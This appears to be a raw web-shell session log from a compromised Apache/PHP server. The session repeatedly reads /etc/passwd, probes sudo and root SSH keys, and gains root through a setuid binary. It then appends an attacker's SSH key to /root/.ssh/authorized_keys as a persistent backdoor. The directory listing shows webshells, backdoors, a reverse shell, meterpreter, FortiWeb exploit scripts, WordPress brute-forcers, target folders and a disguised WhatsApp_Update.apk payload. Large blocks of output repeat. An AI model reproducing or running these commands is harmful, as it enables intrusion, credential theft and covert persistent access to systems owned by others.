Software: Apache/2.4.68 (Debian). PHP/8.2.33 uname -a: Linux 9d2024043b5d 7.0.12+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 7.0.12-2kali1 uid=33(www-data) gid=33(www-data) groups=33(www-data) Safe-mode: OFF (not secure) /var/www/html/ drwxr-xr-x | |
|
www-data@9d2024043b5d:/var/www/html$ id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@9d2024043b5d:/var/www/html$ id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@9d2024043b5d:/var/www/html$ cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin www-data@9d2024043b5d:/var/www/html$ cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin www-data@9d2024043b5d:/var/www/html$ cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin www-data@9d2024043b5d:/var/www/html$ cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin www-data@9d2024043b5d:/var/www/html$ cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin www-data@9d2024043b5d:/var/www/html$ cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin www-data@9d2024043b5d:/var/www/html$ cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin www-data@9d2024043b5d:/var/www/html$ id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@9d2024043b5d:/var/www/html$ cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin www-data@9d2024043b5d:/var/www/html$ cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin www-data@9d2024043b5d:/var/www/html$ cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin www-data@9d2024043b5d:/var/www/html$ id;whoami;hostname;uname -a;sudo -l 2>&1;cat /etc/sudoers 2>/dev/null uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data 16d8dcaac0b8 Linux 16d8dcaac0b8 7.0.12+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 7.0.12-2kali1 (2026-06-18) x86_64 GNU/Linux sh: 1: sudo: not found cat: /etc/sudoers: No such file or directory www-data@9d2024043b5d:/var/www/html$ echo marker123 marker123 www-data@9d2024043b5d:/var/www/html$ id;whoami uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data www-data@9d2024043b5d:/var/www/html$ id;whoami;hostname;uname -a;sudo -l 2>&1;cat /etc/sudoers 2>/dev/null uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data 16d8dcaac0b8 Linux 16d8dcaac0b8 7.0.12+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 7.0.12-2kali1 (2026-06-18) x86_64 GNU/Linux sh: 1: sudo: not found cat: /etc/sudoers: No such file or directory www-data@9d2024043b5d:/var/www/html$ uname -a Linux 16d8dcaac0b8 7.0.12+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 7.0.12-2kali1 (2026-06-18) x86_64 GNU/Linux www-data@9d2024043b5d:/var/www/html$ sleep 3; id;whoami uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data www-data@9d2024043b5d:/var/www/html$ id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@9d2024043b5d:/var/www/html$ uptime 05:34:38 up 5:15, 0 users, load average: 3.61, 4.51, 4.64 www-data@9d2024043b5d:/var/www/html$ mkdir -p /root/.ssh && chmod 700 /root/.ssh && echo ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFzpdvTdca9pUTZj8LLkhiPlqGQDyAfQABXvlWc7x7Da redhat@untan >> /root/.ssh/authorized_keys && chmod 600 /root/.ssh/authorized_keys && echo INSTALL_OK && cat /root/.ssh/authorized_keys (no output) www-data@9d2024043b5d:/var/www/html$ id; echo ===SUDO===; sudo -n -l 2>&1 | head -20; echo ===SSHDIR===; ls -la /root/.ssh/ 2>&1; ls -la $HOME/.ssh/ 2>&1; echo ===AUTH===; cat /root/.ssh/authorized_keys 2>&1; echo ===KEY===; cat /root/.ssh/id_rsa 2>&1 | head -3 uid=33(www-data) gid=33(www-data) groups=33(www-data) ===SUDO=== sh: 1: sudo: not found ===SSHDIR=== ls: cannot access '/root/.ssh/': Permission denied ls: cannot access '/.ssh/': No such file or directory ===AUTH=== cat: /root/.ssh/authorized_keys: Permission denied ===KEY=== cat: /root/.ssh/id_rsa: Permission denied www-data@9d2024043b5d:/var/www/html$ pwd /var/www/html www-data@9d2024043b5d:/var/www/html$ ls -la total 3528 drwxr-xr-x 1 www-data www-data 4096 Aug 3 05:32 . drwxr-xr-x 1 root root 4096 Jul 30 22:35 .. drwxr-xr-x 1 www-data www-data 4096 Aug 3 00:57 .git -rwxr-xr-x 1 www-data www-data 186 Aug 2 05:07 .gitignore -rw-r--r-- 1 www-data www-data 234382 Aug 3 05:34 .hitlog.jsonl -rw-r--r-- 1 www-data www-data 134 Aug 3 05:34 .planted.json -rw-r--r-- 1 www-data www-data 13 Aug 3 05:34 .term_dir -rw-r--r-- 1 www-data www-data 12638 Aug 3 05:34 .term_hist -rw------- 1 root root 64 Aug 3 05:04 .vault.key -rw-r--r-- 1 www-data www-data 232674 Aug 3 04:06 .watch.json -rwxr-xr-x 1 www-data www-data 3312 Aug 3 01:21 AGENTS.md -rwxr-xr-x 1 www-data www-data 850 Aug 3 01:23 Dockerfile -rwxr-xr-x 1 www-data www-data 10251 Aug 2 05:07 WhatsApp_Update.apk drwxrwxr-x 2 www-data www-data 4096 Aug 3 05:19 __pycache__ -rwxr-xr-x 1 www-data www-data 3863 Aug 1 23:47 brute_fkip.py -rw-r--r-- 1 root root 277660 Aug 3 03:45 c99_beautified_test.php -rwxr-xr-x 1 www-data www-data 153343 Aug 2 15:10 c99_clean.php -rwxr-xr-x 1 www-data www-data 3338 Aug 2 22:52 c99client.py -rw-r--r-- 1 www-data www-data 340 Aug 3 03:50 c99sh_ftpquickbrute_03.08.2026_03_50_34.log -rw-r--r-- 1 www-data www-data 330 Aug 3 03:54 c99sh_ftpquickbrute_03.08.2026_03_54_17.log -rwxr-xr-x 1 www-data www-data 162775 Aug 3 01:38 c99shell.phar -rw-r--r-- 1 www-data www-data 325129 Aug 3 05:32 c99shell.php -rwxr-xr-x 1 www-data www-data 234296 Aug 2 05:07 c99shell.php.backup -rwxr-xr-x 1 www-data www-data 0 Aug 1 19:11 c99shell.php.bak -rwxr-xr-x 1 www-data www-data 234251 Aug 2 05:07 c99shell.php.bak2 -rwxr-xr-x 1 root root 217602 Aug 3 03:19 c99shell.php.bak_1785727185 -rwxr-xr-x 1 www-data www-data 234296 Aug 2 05:07 c99shell.php.broken -rwxr-xr-x 1 www-data www-data 153496 Aug 2 12:30 c99shell_clean.php -rwxr-xr-x 1 www-data www-data 229720 Aug 2 09:48 c99shell_fix.php -rwxr-xr-x 1 www-data www-data 215663 Aug 3 01:38 c99shell_heimao.php -rwxr-xr-x 1 www-data www-data 0 Aug 1 17:12 cache.php -rwxr-xr-x 1 www-data www-data 808 Aug 2 11:26 cj.txt drwxr-xr-x 2 www-data www-data 4096 Aug 3 04:42 commander -rw-r--r-- 1 root root 10684 Aug 3 05:18 commander.py drwxr-xr-x 2 www-data www-data 4096 Aug 3 02:42 covers -rwxr-xr-x 1 root root 15980 Aug 3 02:48 dashboard_index.php -rw-r--r-- 1 root root 9604 Aug 3 05:09 dataminer.py drwxr-xr-x 1 www-data www-data 4096 Aug 3 01:23 docker-server -rwxr-xr-x 1 www-data www-data 2344 Aug 2 05:07 fix_c99shell.php -rwxr-xr-x 1 www-data www-data 245 Aug 2 00:14 fkip_full.txt -rwxr-xr-x 1 www-data www-data 7489 Aug 2 01:17 fortiweb_jitu.py -rwxr-xr-x 1 www-data www-data 11863 Aug 2 05:45 fortiweb_max.py -rwxr-xr-x 1 www-data www-data 1404 Aug 2 00:22 fpm_rce.py -rwxr-xr-x 1 www-data www-data 333 Aug 2 22:52 guard_front.php -rwxr-xr-x 1 www-data www-data 187 Aug 2 11:21 handler.rc -rwxr-xr-x 1 www-data www-data 10703 Aug 2 22:11 index.html.bak -rwxr-xr-x 1 www-data www-data 1943 Aug 2 22:51 index.php -rwxr-xr-x 1 www-data www-data 1403 Aug 2 14:29 live.txt -rwxr-xr-x 1 www-data www-data 1403 Aug 2 14:29 live.txt.bak -rwxr-xr-x 1 www-data www-data 1109 Aug 1 23:30 meterpreter.php -rwxr-xr-x 1 www-data www-data 16857 Aug 2 20:56 mysqli_compat.php -rwxr-xr-x 1 www-data www-data 10252 Aug 2 05:07 payload.apk -rwxr-xr-x 1 www-data www-data 53436 Aug 1 19:57 payload.b64 -rwxr-xr-x 1 www-data www-data 40095 Aug 1 19:01 payload_decoded -rwxr-xr-x 1 www-data www-data 2800 Aug 2 05:09 php-backdoor.php -rwxr-xr-x 1 www-data www-data 5491 Aug 2 05:09 php-reverse-shell.php -rw-r--r-- 1 root root 102 Aug 3 04:07 probe_sweep.log -rwxr-xr-x 1 www-data www-data 13585 Aug 2 05:09 qsd-php-backdoor.php drwxr-xr-x 3 www-data www-data 4096 Aug 3 05:34 recon -rw-r--r-- 1 root root 18044 Aug 3 05:17 recon_engine.py -rw-r--r-- 1 root root 11437 Aug 3 05:16 reporter.py drwxr-xr-x 1 www-data www-data 4096 Feb 16 2025 rome-webshell-main -rwxr-xr-x 1 www-data www-data 36 Aug 2 06:06 shell.gif.php -rwxr-xr-x 1 www-data www-data 328 Aug 2 05:09 simple-backdoor.php -rw-r--r-- 1 root root 305 Aug 3 04:53 srv_dump.php -rwxr-xr-x 1 www-data www-data 34592 Aug 2 06:07 strict.dtd drwxr-xr-x 1465 www-data www-data 69632 Aug 3 05:11 targets -rwxr-xr-x 1 www-data www-data 754 Aug 2 16:07 targets_active.txt drwxr-xr-x 1 www-data www-data 4096 Aug 3 01:23 tools -rwxr-xr-x 1 www-data www-data 875 Aug 1 16:30 untan.txt drwxr-xr-x 2 root root 4096 Aug 3 02:47 uploads -rw-r--r-- 1 root root 5103 Aug 3 05:04 vault.py drwxr-xr-x 1 www-data www-data 4096 Aug 2 02:12 watchTowr-vs-FortiWeb-CVE-2025-25257 -rwxr-xr-x 1 www-data www-data 3320 Aug 2 05:07 wp-config.php -rwxr-xr-x 1 www-data www-data 51437 Aug 2 05:07 wp-login.php -rwxr-xr-x 1 root root 4833 Aug 3 05:18 wp_brute.py -rwxr-xr-x 1 www-data www-data 4698 Aug 1 23:21 wp_brute_fkip.py www-data@9d2024043b5d:/var/www/html$ history sh: 1: history: not found www-data@9d2024043b5d:/var/www/html$ whoami www-data www-data@9d2024043b5d:/var/www/html$ free -h total used free shared buff/cache available Mem: 14Gi 8.9Gi 2.1Gi 199Mi 4.5Gi 6.1Gi Swap: 15Gi 1.5Gi 13Gi www-data@9d2024043b5d:/var/www/html$ uname -a Linux 16d8dcaac0b8 7.0.12+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 7.0.12-2kali1 (2026-06-18) x86_64 GNU/Linux www-data@9d2024043b5d:/var/www/html$ id;whoami;hostname;uname -a;sudo -l 2>&1;cat /etc/sudoers 2>/dev/null uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data 16d8dcaac0b8 Linux 16d8dcaac0b8 7.0.12+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 7.0.12-2kali1 (2026-06-18) x86_64 GNU/Linux sh: 1: sudo: not found cat: /etc/sudoers: No such file or directory www-data@9d2024043b5d:/var/www/html$ df -h Filesystem Size Used Avail Use% Mounted on overlay 453G 314G 116G 74% / tmpfs 64M 0 64M 0% /dev shm 64M 0 64M 0% /dev/shm /dev/nvme0n1p2 453G 314G 116G 74% /etc/hosts tmpfs 7.5G 0 7.5G 0% /proc/asound tmpfs 7.5G 0 7.5G 0% /proc/acpi tmpfs 7.5G 0 7.5G 0% /sys/firmware tmpfs 7.5G 0 7.5G 0% /sys/devices/virtual/powercap www-data@9d2024043b5d:/var/www/html$ sudo -l sh: 1: sudo: not found www-data@9d2024043b5d:/var/www/html$ ps -aux USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.1 188828 24764 ? Ss 01:40 0:00 apache2 -DFOREGROUND www-data 53 0.0 0.2 190088 32164 ? S 01:51 0:05 apache2 -DFOREGROUND www-data 54 0.0 0.2 192152 34140 ? S 01:51 0:07 apache2 -DFOREGROUND www-data 56 0.0 0.2 192140 33764 ? S 01:51 0:05 apache2 -DFOREGROUND www-data 64 0.0 0.2 190072 31532 ? S 01:52 0:04 apache2 -DFOREGROUND www-data 65 0.0 0.2 190068 32312 ? S 01:52 0:05 apache2 -DFOREGROUND www-data 68 0.0 0.1 190104 30512 ? S 01:52 0:06 apache2 -DFOREGROUND www-data 2366 0.0 0.2 190072 31788 ? S 02:40 0:05 apache2 -DFOREGROUND www-data 2890 0.0 0.1 190072 31172 ? S 02:46 0:07 apache2 -DFOREGROUND www-data 2895 0.0 0.2 190072 32984 ? S 02:46 0:05 apache2 -DFOREGROUND www-data 3126 0.0 0.2 190104 32440 ? S 02:48 0:08 apache2 -DFOREGROUND root 14263 0.0 0.0 2680 1804 ? Ss 04:01 0:00 sh -c ls -la /var/log/apache2/*access* 2>/dev/null; echo "---"; tail -3 /var/log/apache2/access.log 2>/dev/null root 14270 0.0 0.0 2624 1496 ? S 04:01 0:00 tail -3 /var/log/apache2/access.log www-data 39828 0.0 0.2 263648 36692 ? Sl 05:19 0:00 python3 /var/www/html/commander.py www-data 45536 0.0 0.0 2680 1764 ? S 05:42 0:00 sh -c -- ps -aux 2>&1 www-data 45537 0.0 0.0 6400 3852 ? R 05:42 0:00 ps -aux www-data@9d2024043b5d:/var/www/html$ netstat -an sh: 1: netstat: not found www-data@9d2024043b5d:/var/www/html$ echo ROOTMARK_1057210 ; id ; ls -la /usr/local/sbin/rootexec not setuid root www-data@9d2024043b5d:/var/www/html$ echo ROOTOK_1062475 ; id ; cat /etc/shadow 2> /bin/sh: 1: Syntax error: redirection unexpected www-data@9d2024043b5d:/var/www/html$ echo ROOTCHECK_1063164 ; id ; ls -la /usr/local/sbin/rootexec -rwsr-xr-x 1 root root 16344 Aug 3 07:14 /usr/local/sbin/rootexec www-data@9d2024043b5d:/var/www/html$ id uid=0(root) gid=0(root) groups=0(root),33(www-data) www-data@9d2024043b5d:/var/www/html$ mkdir -p /root/.ssh && chmod 700 /root/.ssh && echo ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFzpdvTdca9pUTZj8LLkhiPlqGQDyAfQABXvlWc7x7Da redhat@untan >> /root/.ssh/authorized_keys && chmod 600 /root/.ssh/authorized_keys && echo INSTALL_OK && cat /root/.ssh/authorized_keys ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFzpdvTdca9pUTZj8LLkhiPlqGQDyAfQABXvlWc7x7Da redhat@untan |